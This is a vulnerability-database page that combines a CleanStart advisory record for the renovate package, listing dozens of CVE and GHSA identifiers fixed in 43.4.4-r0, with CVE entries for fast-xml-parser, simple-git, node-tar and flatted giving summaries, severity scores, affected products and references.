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Vulnerability from cleanstart
Published
2026-04-01 09:31
Modified
2026-03-23 10:49
Summary
Security fixes for CVE-2025-64756, CVE-2025-69873, CVE-2026-1525, CVE-2026-1526, CVE-2026-1527, CVE-2026-1528, CVE-2026-2229, CVE-2026-2327, CVE-2026-23745, CVE-2026-2391, CVE-2026-24842, CVE-2026-25128, CVE-2026-25547, CVE-2026-2581, CVE-2026-25896, CVE-2026-26278, CVE-2026-26960, CVE-2026-27601, CVE-2026-27903, CVE-2026-27904, CVE-2026-27942, CVE-2026-28292, CVE-2026-29786, CVE-2026-31802, CVE-2026-32141, CVE-2026-33036, ghsa-23c5-xmqv-rm74, ghsa-25h7-pfq9-p65f, ghsa-2g4f-4pwh-qvx6, ghsa-2mjp-6q6p-2qxm, ghsa-34x7-hfp2-rc4v, ghsa-37qj-frw5-hhjh, ghsa-38c4-r59v-3vqw, ghsa-3ppc-4f35-3m26, ghsa-4992-7rv2-5pvq, ghsa-5j98-mcp5-4vw2, ghsa-73rr-hh4g-fpgx, ghsa-7h2j-956f-4vf2, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-8wc6-vgrq-x6cf, ghsa-9ppj-qmqm-q256, ghsa-f269-vfmq-vjvj, ghsa-fj3w-jwp8-x2g3, ghsa-jmr7-xgp7-cmfj, ghsa-m7jm-9gc2-mpf2, ghsa-phc3-fgpg-7m6h, ghsa-qffp-2rhf-9h96, ghsa-qpx9-hpmf-5gmw, ghsa-r275-fr43-pm7q, ghsa-r6q2-hw4h-h46w, ghsa-v9p9-hfj2-hcw8, ghsa-vrm6-8vpv-qv8q, ghsa-w7fw-mjwx-w883 applied in versions: 43.4.4-r0
Details
Multiple security vulnerabilities affect the renovate package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "43.4.4-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the renovate package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-DV49099",
"modified": "2026-03-23T10:49:42Z",
"published": "2026-04-01T09:31:16.419730Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DV49099.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1525"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1528"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2327"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25128"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25547"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25896"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26278"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27601"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-32141"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33036"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-25h7-pfq9-p65f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2g4f-4pwh-qvx6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2mjp-6q6p-2qxm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-37qj-frw5-hhjh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-38c4-r59v-3vqw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3ppc-4f35-3m26"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4992-7rv2-5pvq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5j98-mcp5-4vw2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-73rr-hh4g-fpgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7h2j-956f-4vf2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8gc5-j5rx-235r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8wc6-vgrq-x6cf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f269-vfmq-vjvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fj3w-jwp8-x2g3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jmr7-xgp7-cmfj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m7jm-9gc2-mpf2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-phc3-fgpg-7m6h"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qpx9-hpmf-5gmw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r275-fr43-pm7q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v9p9-hfj2-hcw8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vrm6-8vpv-qv8q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w7fw-mjwx-w883"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1525"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1528"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2327"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25547"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26278"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27601"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32141"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-64756, CVE-2025-69873, CVE-2026-1525, CVE-2026-1526, CVE-2026-1527, CVE-2026-1528, CVE-2026-2229, CVE-2026-2327, CVE-2026-23745, CVE-2026-2391, CVE-2026-24842, CVE-2026-25128, CVE-2026-25547, CVE-2026-2581, CVE-2026-25896, CVE-2026-26278, CVE-2026-26960, CVE-2026-27601, CVE-2026-27903, CVE-2026-27904, CVE-2026-27942, CVE-2026-28292, CVE-2026-29786, CVE-2026-31802, CVE-2026-32141, CVE-2026-33036, ghsa-23c5-xmqv-rm74, ghsa-25h7-pfq9-p65f, ghsa-2g4f-4pwh-qvx6, ghsa-2mjp-6q6p-2qxm, ghsa-34x7-hfp2-rc4v, ghsa-37qj-frw5-hhjh, ghsa-38c4-r59v-3vqw, ghsa-3ppc-4f35-3m26, ghsa-4992-7rv2-5pvq, ghsa-5j98-mcp5-4vw2, ghsa-73rr-hh4g-fpgx, ghsa-7h2j-956f-4vf2, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-8wc6-vgrq-x6cf, ghsa-9ppj-qmqm-q256, ghsa-f269-vfmq-vjvj, ghsa-fj3w-jwp8-x2g3, ghsa-jmr7-xgp7-cmfj, ghsa-m7jm-9gc2-mpf2, ghsa-phc3-fgpg-7m6h, ghsa-qffp-2rhf-9h96, ghsa-qpx9-hpmf-5gmw, ghsa-r275-fr43-pm7q, ghsa-r6q2-hw4h-h46w, ghsa-v9p9-hfj2-hcw8, ghsa-vrm6-8vpv-qv8q, ghsa-w7fw-mjwx-w883 applied in versions: 43.4.4-r0",
"upstream": [
"CVE-2025-64756",
"CVE-2025-69873",
"CVE-2026-1525",
"CVE-2026-1526",
"CVE-2026-1527",
"CVE-2026-1528",
"CVE-2026-2229",
"CVE-2026-2327",
"CVE-2026-23745",
"CVE-2026-2391",
"CVE-2026-24842",
"CVE-2026-25128",
"CVE-2026-25547",
"CVE-2026-2581",
"CVE-2026-25896",
"CVE-2026-26278",
"CVE-2026-26960",
"CVE-2026-27601",
"CVE-2026-27903",
"CVE-2026-27904",
"CVE-2026-27942",
"CVE-2026-28292",
"CVE-2026-29786",
"CVE-2026-31802",
"CVE-2026-32141",
"CVE-2026-33036",
"ghsa-23c5-xmqv-rm74",
"ghsa-25h7-pfq9-p65f",
"ghsa-2g4f-4pwh-qvx6",
"ghsa-2mjp-6q6p-2qxm",
"ghsa-34x7-hfp2-rc4v",
"ghsa-37qj-frw5-hhjh",
"ghsa-38c4-r59v-3vqw",
"ghsa-3ppc-4f35-3m26",
"ghsa-4992-7rv2-5pvq",
"ghsa-5j98-mcp5-4vw2",
"ghsa-73rr-hh4g-fpgx",
"ghsa-7h2j-956f-4vf2",
"ghsa-7r86-cg39-jmmj",
"ghsa-83g3-92jg-28cx",
"ghsa-8gc5-j5rx-235r",
"ghsa-8qq5-rm4j-mr97",
"ghsa-8wc6-vgrq-x6cf",
"ghsa-9ppj-qmqm-q256",
"ghsa-f269-vfmq-vjvj",
"ghsa-fj3w-jwp8-x2g3",
"ghsa-jmr7-xgp7-cmfj",
"ghsa-m7jm-9gc2-mpf2",
"ghsa-phc3-fgpg-7m6h",
"ghsa-qffp-2rhf-9h96",
"ghsa-qpx9-hpmf-5gmw",
"ghsa-r275-fr43-pm7q",
"ghsa-r6q2-hw4h-h46w",
"ghsa-v9p9-hfj2-hcw8",
"ghsa-vrm6-8vpv-qv8q",
"ghsa-w7fw-mjwx-w883"
]
}
CVE-2026-27942 (GCVE-0-2026-27942)
Vulnerability from cvelistv5 – Published: 2026-02-26 01:22 – Updated: 2026-06-23 15:50
VLAI
EPSS
VEX
Title
fast-xml-parser has stack overflow in XMLBuilder with preserveOrder
Summary
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. Prior to version 5.3.8, the application crashes with stack overflow when user use XML builder with `preserveOrder:true`. Version 5.3.8 fixes the issue. As a workaround, use XML builder with `preserveOrder:false` or check the input data before passing to builder.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_CONFIRM |
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_MISC |
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NaturalIntelligence | fast-xml-parser |
Affected:
< 5.3.8
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-27942",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T15:48:57.198872Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:50:01.617Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "fast-xml-parser",
"vendor": "NaturalIntelligence",
"versions": [
{
"status": "affected",
"version": "\u003c 5.3.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. Prior to version 5.3.8, the application crashes with stack overflow when user use XML builder with `preserveOrder:true`. Version 5.3.8 fixes the issue. As a workaround, use XML builder with `preserveOrder:false` or check the input data before passing to builder."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 2.7,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-120",
"description": "CWE-120: Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T01:22:11.383Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
},
{
"name": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
},
{
"name": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
}
],
"source": {
"advisory": "GHSA-fj3w-jwp8-x2g3",
"discovery": "UNKNOWN"
},
"title": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}
},
"cveMetadata": {
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CVE-2026-28292 (GCVE-0-2026-28292)
Vulnerability from cvelistv5 – Published: 2026-03-10 18:34 – Updated: 2026-07-15 01:11
VLAI
EPSS
VEX
Title
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE
Summary
`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
Severity
9.8 (Critical)
8.8 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/steveukx/git-js/security/advis… | x_refsource_CONFIRM |
| https://github.com/steveukx/git-js/commit/f704208… | x_refsource_MISC |
| https://www.codeant.ai/security-research/security… | x_refsource_MISC |
| https://www.codeant.ai/security-research/simple-g… | exploit |
| https://access.redhat.com/security/cve/CVE-2026-28292 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2446162 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
Impacted products
7 products
| Vendor | Product | Version | |
|---|---|---|---|
| steveukx | simple-git |
Affected:
>= 3.15.0, < 3.32.3
|
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
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CVE-2026-29786 (GCVE-0-2026-29786)
Vulnerability from cvelistv5 – Published: 2026-03-07 15:32 – Updated: 2026-07-15 01:10
VLAI
EPSS
VEX
Title
node-tar: Hardlink Path Traversal via Drive-Relative Linkpath
Summary
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/7bc755d… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-29786 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2445476 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
Impacted products
22 products
| Vendor | Product | Version | |
|---|---|---|---|
| isaacs | node-tar |
Affected:
< 7.5.10
|
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Red Hat Trusted Artifact Signer |
cpe:/a:redhat:trusted_artifact_signer:1 |
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CVE-2026-31802 (GCVE-0-2026-31802)
Vulnerability from cvelistv5 – Published: 2026-03-09 21:11 – Updated: 2026-03-10 14:56
VLAI
EPSS
VEX
Title
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Summary
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/f48b5fa… | x_refsource_MISC |
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],
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],
"cna": {
"affected": [
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"vendor": "isaacs",
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}
]
}
],
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],
"metrics": [
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"attackRequirements": "NONE",
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"subConfidentialityImpact": "NONE",
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CVE-2026-32141 (GCVE-0-2026-32141)
Vulnerability from cvelistv5 – Published: 2026-03-12 18:08 – Updated: 2026-08-04 12:06
VLAI
EPSS
VEX
Title
flatted: Unbounded recursion DoS in parse() revive phase
Summary
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
14 references
| URL | Tags |
|---|---|
| https://github.com/WebReflection/flatted/security… | x_refsource_CONFIRM |
| https://github.com/WebReflection/flatted/pull/88 | x_refsource_MISC |
| https://github.com/WebReflection/flatted/commit/7… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-32141 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2447083 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:34342 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9742 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13826 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:36651 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:40945 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:40118 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:5807 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:21772 | vendor-advisoryx_refsource_REDHAT |
Impacted products
38 products
| Vendor | Product | Version | |
|---|---|---|---|
| WebReflection | flatted |
Affected:
< 3.4.0
|
|
| Red Hat | Cluster Observability Operator 1.5.0 |
Unaffected:
1782839279 , < *
(rpm)
cpe:/a:redhat:cluster_observability_operator:1.5::el9 |
|
| Red Hat | Cluster Observability Operator 1.5.0 |
Unaffected:
1782840539 , < *
(rpm)
cpe:/a:redhat:cluster_observability_operator:1.5::el9 |
|
| Red Hat | Cluster Observability Operator 1.5.0 |
Unaffected:
1782839996 , < *
(rpm)
cpe:/a:redhat:cluster_observability_operator:1.5::el9 |
|
| Red Hat | Red Hat Developer Hub 1.8 |
Unaffected:
1776784286 , < *
(rpm)
cpe:/a:redhat:rhdh:1.8::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
Unaffected:
1777903262 , < *
(rpm)
cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat Edge Manager 1.0 |
Unaffected:
1783502765 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.0::el9 |
|
| Red Hat | Red Hat Edge Manager 1.0 |
Unaffected:
1783502438 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.0::el9 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784194938 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el10 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784194574 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el10 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784126822 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el9 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784127736 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.16 |
Unaffected:
1774282136 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.16::el8 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1779341289 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Directory Server 11 |
cpe:/a:redhat:directory_server:11 |
|
| Red Hat | Red Hat Directory Server 12 |
cpe:/a:redhat:directory_server:12 |
|
| Red Hat | Red Hat Directory Server 13 |
cpe:/a:redhat:directory_server:13 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
